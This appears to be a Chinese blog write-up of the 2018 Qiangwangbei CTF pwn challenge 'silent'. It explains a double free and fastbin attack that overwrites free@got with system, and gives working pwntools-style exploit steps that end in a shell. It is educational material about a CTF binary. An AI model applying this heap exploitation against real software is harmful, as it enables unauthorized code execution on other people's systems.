Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

强网杯 2018 pwn silent writeup

保护措施:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

使用IDA查看程序,发现此题存在Double Free,可以进行fastbin attack,并修改free@got的地址为system后获取shell。

该题一开始会执行下列指令:

1
system("cat banner.txt");

使用gdb进行调试的时候这里有一个坑(不过在这里调用了一次system应该是方便了后面的漏洞利用),gdb默认会去调试子进程,导致无法继续调试主进程,因此需要设置gdb:

1
set follow-fork-mode parent

首先申请3个fastbin chunk:

1
2
3
New(0x50, 'Hack by sunichi')  # chunk_0
New(0x50, 'Hack by sunichi') # chunk_1
New(0x50, '/bin/sh\x00') # chunk_2

为什么要选取0x50作为chunk的大小?因为在got表起始地址附近,能作为fastbin chunk的size的数据只有0x602002处的0xe168000000000060。malloc函数被调用时,会使用unsigned int对size做类型转换,在这里size就被转换成了0x60,与我们申请的0x50(content)+0x10(chunk头)大小的chunk一致。

随后进行fastbin attack:

1
2
3
Delete(0)
Delete(1)
Delete(0)

三次释放后,header -> 0 -> 1 -> 0 -> 0x00。接着我们申请fastbin chunk:

1
2
3
4
5
6
7
New(0x50, p64(0x601ffa)) # 0x602002 - 8
# header -> 1 -> 0 -> 0x601ffa
New(0x50, 'Hack by sunichi')
# header -> 0 -> 0x601ffa
New(0x50, 'Hack by sunichi')
# header -> 0x601ffa
New(0x50, 'A' * 14 + p64(elf.plt['system'])) # Overwrite free@got

接着调用system函数,由于我们第1次申请的chunk_2的content中为字符串/bin/sh,因此此时调用free(chunk_2)等于system(‘/bin/sh’):

1
2
3
Delete(2)
p.interactive()
p.close()